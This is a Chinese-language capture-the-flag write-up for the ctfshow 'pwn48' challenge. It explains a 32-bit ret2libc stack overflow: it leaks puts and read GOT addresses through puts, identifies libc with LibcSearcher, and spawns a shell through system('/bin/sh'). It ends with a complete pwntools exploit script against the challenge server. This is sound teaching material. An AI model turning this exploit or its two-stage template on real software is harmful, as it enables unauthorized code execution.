前言
pwn48是一道32位的ret2libc题目。题目提示里说可以使用write函数泄漏地址,但是这个程序里没有write@plt,实际可以用puts完成泄漏。
这道题的核心思路是:
- 利用栈溢出控制返回地址。
- 调用
puts(puts_got)泄漏puts在libc里的真实地址。 - 再调用
puts(read_got)多泄漏一个函数地址,用来辅助确定libc版本。 - 计算
system和"/bin/sh"的地址。 - 最后执行
system("/bin/sh")。
信息收集
先看一下程序的保护:
checksec file pwn48结果如下:
Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIEStripped: No可以得到几个关键信息:
- 这是32位程序,所以函数参数通过栈传递。
- 没有Canary,可以直接栈溢出。
- NX开启,不能直接往栈上写shellcode执行。
- 没有PIE,程序本身的地址固定,可以直接使用
plt、got和main地址。
再看一下导入函数:
elf = ELF('./pwn48')
puts_plt = elf.plt['puts']puts_got = elf.got['puts']read_got = elf.got['read']main_addr = elf.sym['main']程序里有puts和read,没有write。所以这里选择用puts泄漏GOT表中的函数真实地址。
漏洞点
反汇编可以看到漏洞函数ctfshow里调用了read:
0804860e <ctfshow>: 8048611: 53 push ebx 8048612: 83 ec 74 sub esp,0x74 ... 8048622: 68 c8 00 00 00 push 0xc8 8048627: 8d 55 95 lea edx,[ebp-0x6b] 804862a: 52 push edx 804862b: 6a 00 push 0x0 804862f: e8 2c fd ff ff call 8048360 <read@plt>这几句等价于:
read(0, buf, 0xc8);其中buf的位置是[ebp - 0x6b]。也就是说,缓冲区距离保存的ebp有0x6b字节,再覆盖返回地址前还要经过4字节保存的ebp。
所以偏移是:
OFFSET = 0x6b + 4第一次泄漏
32位函数调用时,栈上的布局是:
函数地址返回地址第1个参数第2个参数...如果想调用:
puts(puts_got);payload可以写成:
payload = flat( b'a' * OFFSET, puts_plt, main_addr, puts_got,)这段payload执行时的含义是:
puts_plt -> 跳去执行 putsmain_addr -> puts 执行完以后返回 mainputs_got -> puts 的参数为什么要返回main?
因为第一次payload只负责泄漏地址,还没有getshell。让程序回到main,程序就会重新打印提示并再次进入ctfshow,我们就可以发送第二次payload。
泄漏函数可以写成:
def leak(io, addr): payload = flat( b'a' * OFFSET, puts_plt, main_addr, addr, )
io.recvuntil(b'O.o?\n') io.sendline(payload)
return u32(io.recvn(4))这里的:
return u32(io.recvn(4))意思是接收4字节泄漏内容,并按照32位小端序转换成整数。
确定libc
只泄漏一个函数地址时,可能匹配到多个libc版本。所以这里再泄漏一个read地址:
puts_addr = leak(io, puts_got)read_addr = leak(io, read_got)然后交给LibcSearcher:
libc = LibcSearcher("puts", puts_addr)libc.add_condition("read", read_addr)这两句的意思是:
- 已知
puts真实地址是puts_addr。 - 再加一个条件:
read真实地址是read_addr。
这样可以更准确地确定远程环境使用的是哪个libc。
确定libc以后,就可以计算基地址:
libc_base = puts_addr - libc.dump('puts')然后计算system和"/bin/sh":
system = libc_base + libc.dump('system')bin_sh = libc_base + libc.dump('str_bin_sh')getshell
最后调用:
system("/bin/sh");32位payload写法是:
payload = flat( b'a' * OFFSET, system, 0, bin_sh,)其中:
system -> 要执行的函数0 -> system执行完后的返回地址,随便填一个占位bin_sh -> system的第1个参数这里的0不是参数,它是假的返回地址。因为在32位调用约定里,函数地址后面紧跟返回地址,参数在返回地址后面。
完整exp
from pwn import *from LibcSearcher import *
context.log_level = 'debug'elf = ELF('./pwn48')
HOST = 'pwn.challenge.ctf.show'PORT = 28212
OFFSET = 0x6b + 4
puts_plt = elf.plt['puts']puts_got = elf.got['puts']read_got = elf.got['read']main_addr = elf.sym['main']
def start(): if args.REMOTE: return remote(HOST, PORT) return process('./pwn48')
def leak(io, addr): payload = flat( b'a' * OFFSET, puts_plt, main_addr, addr, )
io.recvuntil(b'O.o?\n') io.sendline(payload)
return u32(io.recvn(4))
def shell(io, system, bin_sh): payload = flat( b'a' * OFFSET, system, 0, bin_sh, )
io.recvuntil(b'O.o?\n') io.sendline(payload) io.interactive()
def main(): io = start()
puts_addr = leak(io, puts_got) read_addr = leak(io, read_got)
libc = LibcSearcher("puts", puts_addr) libc.add_condition("read", read_addr)
libc_base = puts_addr - libc.dump('puts') system = libc_base + libc.dump('system') bin_sh = libc_base + libc.dump('str_bin_sh')
log.success(f"puts_addr = {puts_addr:#x}") log.success(f"read_addr = {read_addr:#x}") log.success(f"libc_base = {libc_base:#x}") log.success(f"system = {system:#x}") log.success(f"bin_sh = {bin_sh:#x}")
shell(io, system, bin_sh)
if __name__ == '__main__': main()运行远程:
python exp48.py REMOTE总结
pwn48和前面的ret2libc题很像,不过这次没有直接使用write泄漏,而是换成了puts泄漏GOT表。
这道题最重要的知识点是:
- 32位程序参数在栈上传递。
函数地址后面紧跟的是返回地址。- GOT表里保存的是libc函数的真实地址。
- 可以通过
puts(函数got)泄漏libc地址。 - 泄漏后返回
main,是为了重新触发漏洞,发送下一阶段payload。 - 最终通过
system("/bin/sh")getshell。
这类题的模板可以记成:
第一次:泄漏 libc 地址 -> 回 main第二次:system("/bin/sh")この記事が役に立ったときは、ぜひ他の人に共有してください!
一部の情報は古い可能性があります






